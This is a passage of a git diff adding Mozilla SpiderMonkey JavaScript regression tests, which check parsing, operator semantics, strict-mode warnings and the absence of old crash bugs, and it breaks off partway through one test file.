+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +');
+}
+catch(e)
+{
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-312260.js b/js/src/tests/js1_5/Regress/regress-312260.js
new file mode 100644
index 000000000..5e52d6261
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-312260.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 312260;
+var summary = 'Switch discriminant detecting case should not warn';
+var actual = 'No warning';
+var expect = 'No warning';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+options('strict');
+options('werror');
+
+try
+{
+ switch ({}.foo) {}
+}
+catch(e)
+{
+ actual = e + '';
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-31255.js b/js/src/tests/js1_5/Regress/regress-31255.js
new file mode 100644
index 000000000..3a6444952
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-31255.js
@@ -0,0 +1,79 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 09 November 2002
+ * SUMMARY: JS should treat --> as a single-line comment indicator.
+ * Whitespace may occur before the --> on the same line.
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=31255
+ * and http://bugzilla.mozilla.org/show_bug.cgi?id=179366 (Rhino version)
+ *
+ * Note: <!--, --> are the HTML multi-line comment opener, closer.
+ * JS already accepted <!-- as a single-line comment indicator.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 31255;
+var summary = 'JS should treat --> as a single-line comment indicator';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+<!-- HTML comment start is already a single-line JS comment indicator
+ var x = 1; <!-- until end-of-line
+
+ status = inSection(1);
+actual = (x == 1);
+expect = true;
+addThis();
+
+--> HTML comment end is JS comments until end-of-line
+--> but only if it follows a possible whitespace after line start
+--> so in the following --> should not be treated as comments
+if (x-->0)
+ x = 2;
+
+status = inSection(2);
+actual = (x == 2);
+expect = true;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-312588.js b/js/src/tests/js1_5/Regress/regress-312588.js
new file mode 100644
index 000000000..46a900f43
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-312588.js
@@ -0,0 +1,27 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 312588;
+var summary = 'Do not crash creating infinite array';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+var a = new Array();
+
+try
+{
+ for (var i = 0; i < 1e6; i++)
+ (a = new Array(a)).sort();
+}
+catch(ex)
+{
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-314401.js b/js/src/tests/js1_5/Regress/regress-314401.js
new file mode 100644
index 000000000..5fa8ee392
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-314401.js
@@ -0,0 +1,72 @@
+// |reftest| skip-if(xulRuntime.OS=="WINNT"&&isDebugBuild) slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 314401;
+var summary = 'setTimeout(eval,0,"",null)|setTimeout(Script,0,"",null) should not crash';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+if (typeof setTimeout == 'undefined')
+{
+ reportCompare(expect, actual, 'Test Skipped.');
+}
+else
+{
+ gDelayTestDriverEnd = true;
+ window.onerror = null;
+
+ try
+ {
+ setTimeout(eval, 0, '', null);
+ }
+ catch(ex)
+ {
+ printStatus(ex+'');
+ }
+
+ reportCompare(expect, actual, 'setTimeout(eval, 0, "", null)');
+
+ if (typeof Script != 'undefined')
+ {
+ try
+ {
+ setTimeout(Script, 0, '', null);
+ }
+ catch(ex)
+ {
+ printStatus(ex+'');
+ }
+ reportCompare(expect, actual, 'setTimeout(Script, 0, "", null)');
+ }
+
+ try
+ {
+ setInterval(eval, 0, '', null);
+ }
+ catch(ex)
+ {
+ printStatus(ex+'');
+ }
+ reportCompare(expect, actual, 'setInterval(eval, 0, "", null)');
+
+ if (typeof Script != 'undefined')
+ {
+ try
+ {
+ setInterval(Script, 0, '', null);
+ }
+ catch(ex)
+ {
+ printStatus(ex+'');
+ }
+ reportCompare(expect, actual, 'setInterval(Script, 0, "", null)');
+ }
+ setTimeout('gDelayTestDriverEnd = false; jsTestDriverEnd();', 0);
+}
diff --git a/js/src/tests/js1_5/Regress/regress-315990.js b/js/src/tests/js1_5/Regress/regress-315990.js
new file mode 100644
index 000000000..78fcf5407
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-315990.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 315990;
+var summary = 'this.statement.is.an.error';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary + ': function expression');
+
+expect = 'TypeError';
+try
+{
+ (function() {
+ this.statement.is.an.error;
+ })()
+ }
+catch(ex)
+{
+ printStatus(ex);
+ actual = ex.name;
+}
+reportCompare(expect, actual, summary + ': function expression');
+
+
+printStatus (summary + ': top level');
+try
+{
+ this.statement.is.an.error;
+}
+catch(ex)
+{
+ printStatus(ex);
+ actual = ex.name;
+}
+reportCompare(expect, actual, summary + ': top level');
diff --git a/js/src/tests/js1_5/Regress/regress-317476.js b/js/src/tests/js1_5/Regress/regress-317476.js
new file mode 100644
index 000000000..dfafa5b0c
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-317476.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 317476;
+var summary = 'The error thrown by JS_ReportError should be catchable';
+var actual = 'no error';
+var expect = 'no error';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+if (typeof setTimeout != 'undefined')
+{
+ expect = 'error';
+ try
+ {
+ setTimeout();
+ }
+ catch(ex)
+ {
+ actual = 'error';
+ printStatus(ex+'');
+ }
+}
+
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-317714-01.js b/js/src/tests/js1_5/Regress/regress-317714-01.js
new file mode 100644
index 000000000..efa1769f1
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-317714-01.js
@@ -0,0 +1,19 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 317714;
+var summary = 'Regression test for regression from bug 316885';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+var d5="-1";
+var r3=d5.split(":");
+r3[0]++;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-317714-02.js b/js/src/tests/js1_5/Regress/regress-317714-02.js
new file mode 100644
index 000000000..8ae50ffee
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-317714-02.js
@@ -0,0 +1,20 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 317714;
+var summary = 'Regression test for regression from bug 316885';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var r3="-1";
+r3[0]++;
+
+reportCompare(expect, actual, summary);
+
+
diff --git a/js/src/tests/js1_5/Regress/regress-319384.js b/js/src/tests/js1_5/Regress/regress-319384.js
new file mode 100644
index 000000000..bac8dd6e0
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-319384.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 319384;
+var summary = 'Do not crash converting string to number';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+printStatus('This test only runs in the browser');
+
+if (typeof clearTimeout === 'function')
+{
+ try
+ {
+ clearTimeout('foo');
+ }
+ catch(ex)
+ {
+ }
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-319391.js b/js/src/tests/js1_5/Regress/regress-319391.js
new file mode 100644
index 000000000..aebb60c43
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-319391.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 319391;
+var summary = 'Assignment to eval(...) should be runtime error';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var b = {};
+
+expect = 'error';
+try
+{
+ if (1) { eval("b.z") = 3; }
+ actual = 'no error';
+}
+catch(ex)
+{
+ actual = 'error';
+}
+reportCompare(expect, actual, summary);
+
+expect = 'no error';
+try
+{
+ if (0) { eval("b.z") = 3; }
+ actual = 'no error';
+}
+catch(ex)
+{
+ actual = 'error';
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-320032.js b/js/src/tests/js1_5/Regress/regress-320032.js
new file mode 100644
index 000000000..ded2e98a9
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-320032.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 320032;
+var summary = 'Parenthesization should not dereference ECMA Reference type';
+var actual = 'No error';
+var expect = 'No error';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+if (typeof document != 'undefined' && 'getElementById' in document)
+{
+ try
+ {
+ (document.getElementById)("x");
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-320119.js b/js/src/tests/js1_5/Regress/regress-320119.js
new file mode 100644
index 000000000..8aeb7abdb
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-320119.js
@@ -0,0 +1,116 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 320119;
+var summary = 'delegating objects and arguments, arity, caller, name';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+printStatus('original test');
+
+function origtest(name, bar)
+{
+ this.name = name;
+ this.bar = bar;
+}
+
+function Monty(id, name, bar)
+{
+ this.id = id;
+ this.base = origtest;
+ this.base(name, bar);
+}
+
+Monty.prototype = origtest;
+
+function testtwo(notNamedName, bar)
+{
+ this.name = notNamedName;
+ this.bar = bar;
+}
+
+function Python(id, notNamedName, bar)
+{
+ this.id = id;
+ this.base = origtest;
+ this.base(notNamedName, bar);
+}
+
+Python.prototype = testtwo;
+
+var foo = new Monty(1, 'my name', 'sna!');
+
+var manchu = new Python(1, 'my name', 'sna!');
+
+printStatus('foo.name: ' + foo.name);
+printStatus('manchu.name: ' + manchu.name);
+
+expect = 'my name:my name';
+actual = foo.name + ':' + manchu.name;
+reportCompare(expect, actual, summary + ': override function..name');
+
+// end original test
+
+printStatus('test shared properties');
+
+function testshared()
+{
+}
+
+expect = false;
+actual = testshared.hasOwnProperty('arguments');
+reportCompare(expect, actual, summary + ': arguments no longer shared');
+
+expect = false;
+actual = testshared.hasOwnProperty('caller');
+reportCompare(expect, actual, summary + ': caller no longer shared');
+
+expect = false;
+actual = testshared.hasOwnProperty('arity');
+reportCompare(expect, actual, summary + ': arity no longer shared');
+
+expect = false;
+actual = testshared.hasOwnProperty('name');
+reportCompare(expect, actual, summary + ': name no longer shared');
+
+expect = true;
+actual = testshared.hasOwnProperty('length');
+reportCompare(expect, actual, summary + ': length still shared');
+
+printStatus('test overrides');
+
+function Parent()
+{
+ this.arguments = 'oarguments';
+ this.caller = 'ocaller';
+ this.arity = 'oarity';
+ this.length = 'olength';
+ this.name = 'oname';
+}
+
+function Child()
+{
+ this.base = Parent;
+ this.base();
+}
+
+Child.prototype = Parent;
+
+Child.prototype.value = function()
+{
+ return this.arguments + ',' + this.caller + ',' + this.arity + ',' +
+ this.length + ',' + this.name;
+};
+
+var child = new Child();
+
+expect = 'oarguments,ocaller,oarity,0,oname';
+actual = child.value();
+reportCompare(expect, actual, summary + ': overrides');
diff --git a/js/src/tests/js1_5/Regress/regress-321757.js b/js/src/tests/js1_5/Regress/regress-321757.js
new file mode 100644
index 000000000..268d737cf
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-321757.js
@@ -0,0 +1,109 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 321757;
+var summary = 'Compound assignment operators should not bind LHS';
+var actual = '';
+var expect = 'pass';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ foo += 1;
+ actual = "fail";
+}
+catch (e)
+{
+ actual = "pass";
+}
+
+reportCompare(expect, actual, summary + ': +=');
+
+try
+{
+ foo -= 1;
+ actual = "fail";
+}
+catch (e)
+{
+ actual = "pass";
+}
+
+reportCompare(expect, actual, summary + ': -=');
+
+try
+{
+ foo *= 1;
+ actual = "fail";
+}
+catch (e)
+{
+ actual = "pass";
+}
+
+reportCompare(expect, actual, summary + ': *=');
+
+try
+{
+ foo /= 1;
+ actual = "fail";
+}
+catch (e)
+{
+ actual = "pass";
+}
+
+reportCompare(expect, actual, summary + ': /=');
+
+try
+{
+ foo %= 1;
+ actual = "fail";
+}
+catch (e)
+{
+ actual = "pass";
+}
+
+reportCompare(expect, actual, summary + ': %=');
+
+try
+{
+ foo <<= 1;
+ actual = "fail";
+}
+catch (e)
+{
+ actual = "pass";
+}
+
+reportCompare(expect, actual, summary + ': <<=');
+
+try
+{
+ foo >>= 1;
+ actual = "fail";
+}
+catch (e)
+{
+ actual = "pass";
+}
+
+reportCompare(expect, actual, summary + ': >>=');
+
+try
+{
+ foo >>>= 1;
+ actual = "fail";
+}
+catch (e)
+{
+ actual = "pass";
+}
+
+reportCompare(expect, actual, summary + ': >>>=');
diff --git a/js/src/tests/js1_5/Regress/regress-321874.js b/js/src/tests/js1_5/Regress/regress-321874.js
new file mode 100644
index 000000000..d6fbf77c2
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-321874.js
@@ -0,0 +1,207 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 321874;
+var summary = 'lhs must be a reference in (for lhs in rhs) ...';
+var actual = '';
+var expect = '';
+var section;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function a() {}
+var b = {foo: 'bar'};
+
+printStatus('for-in tests');
+
+var v;
+section = summary + ': for((v) in b);';
+expect = 'foo';
+printStatus(section);
+try
+{
+ eval('for ((v) in b);');
+ actual = v;
+}
+catch(ex)
+{
+ printStatus(ex+'');
+ actual = 'error';
+}
+reportCompare(expect, actual, section);
+
+section = summary + ': function foo(){for((v) in b);};foo();';
+expect = 'foo';
+printStatus(section);
+try
+{
+ eval('function foo(){ for ((v) in b);}; foo();');
+ actual = v;
+}
+catch(ex)
+{
+ printStatus(ex+'');
+ actual = 'error';
+}
+reportCompare(expect, actual, section);
+
+section = summary + ': for(a() in b);';
+expect = 'error';
+printStatus(section);
+try
+{
+ eval('for (a() in b);');
+ actual = 'no error';
+}
+catch(ex)
+{
+ printStatus(ex+'');
+ actual = 'error';
+}
+reportCompare(expect, actual, section);
+
+section = summary + ': function foo(){for(a() in b);};foo();';
+expect = 'error';
+printStatus(section);
+try
+{
+ eval('function foo(){ for (a() in b);};foo();');
+ actual = 'no error';
+}
+catch(ex)
+{
+ printStatus(ex+'');
+ actual = 'error';
+}
+reportCompare(expect, actual, section);
+
+section = ': for(new a() in b);';
+expect = 'error';
+printStatus(section);
+try
+{
+ eval('for (new a() in b);');
+ actual = 'no error';
+}
+catch(ex)
+{
+ printStatus(ex+'');
+ actual = 'error';
+}
+reportCompare(expect, actual, summary + section);
+
+section = ': function foo(){for(new a() in b);};foo();';
+expect = 'error';
+printStatus(section);
+try
+{
+ eval('function foo(){ for (new a() in b);};foo();');
+ actual = 'no error';
+}
+catch(ex)
+{
+ printStatus(ex+'');
+ actual = 'error';
+}
+reportCompare(expect, actual, summary + section);
+
+section = ': for(void in b);';
+expect = 'error';
+printStatus(section);
+try
+{
+ eval('for (void in b);');
+ actual = 'no error';
+}
+catch(ex)
+{
+ printStatus(ex+'');
+ actual = 'error';
+}
+reportCompare(expect, actual, summary + section);
+
+section = ': function foo(){for(void in b);};foo();';
+expect = 'error';
+printStatus(section);
+try
+{
+ eval('function foo(){ for (void in b);};foo();');
+ actual = 'no error';
+}
+catch(ex)
+{
+ printStatus(ex+'');
+ actual = 'error';
+}
+reportCompare(expect, actual, summary + section);
+
+var d = 1;
+var e = 2;
+expect = 'error';
+section = ': for((d*e) in b);';
+printStatus(section);
+try
+{
+ eval('for ((d*e) in b);');
+ actual = 'no error';
+}
+catch(ex)
+{
+ printStatus(ex+'');
+ actual = 'error';
+}
+reportCompare(expect, actual, summary + section);
+
+var d = 1;
+var e = 2;
+expect = 'error';
+section = ': function foo(){for((d*e) in b);};foo();';
+printStatus(section);
+try
+{
+ eval('function foo(){ for ((d*e) in b);};foo();');
+ actual = 'no error';
+}
+catch(ex)
+{
+ printStatus(ex+'');
+ actual = 'error';
+}
+reportCompare(expect, actual, summary + section);
+
+const c = 0;
+expect = 'error';
+section = ': for(c in b);';
+printStatus(section);
+try
+{
+ eval('for (c in b);');
+ actual = c;
+ printStatus('typeof c: ' + (typeof c) + ', c: ' + c);
+}
+catch(ex)
+{
+ printStatus(ex+'');
+ actual = 'error';
+}
+reportCompare(expect, actual, summary + section);
+
+expect = 'error';
+section = ': function foo(){for(c in b);};foo();';
+printStatus(section);
+try
+{
+ eval('function foo(){ for (c in b);};foo();');
+ actual = c;
+ printStatus('typeof c: ' + (typeof c) + ', c: ' + c);
+}
+catch(ex)
+{
+ printStatus(ex+'');
+ actual = 'error';
+}
+reportCompare(expect, actual, summary + section);
diff --git a/js/src/tests/js1_5/Regress/regress-321971.js b/js/src/tests/js1_5/Regress/regress-321971.js
new file mode 100644
index 000000000..c40b1f47b
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-321971.js
@@ -0,0 +1,23 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 321971;
+var summary = 'JSOP_FINDNAME replaces JSOP_BINDNAME';
+var actual = 'no error';
+var expect = 'no error';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var s='';
+for (i=0; i < 1<<16; i++)
+ s += 'x' + i + '=' + i + ';\n';
+
+s += 'foo=' + i + ';\n';
+eval(s);
+foo;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-322430.js b/js/src/tests/js1_5/Regress/regress-322430.js
new file mode 100644
index 000000000..f5fbf3041
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-322430.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 322430;
+var summary = 'Remove deprecated with statement warning';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+options('strict');
+options('werror');
+
+expect = 'No Warning';
+
+try
+{
+ var obj = {foo: 'baz'};
+
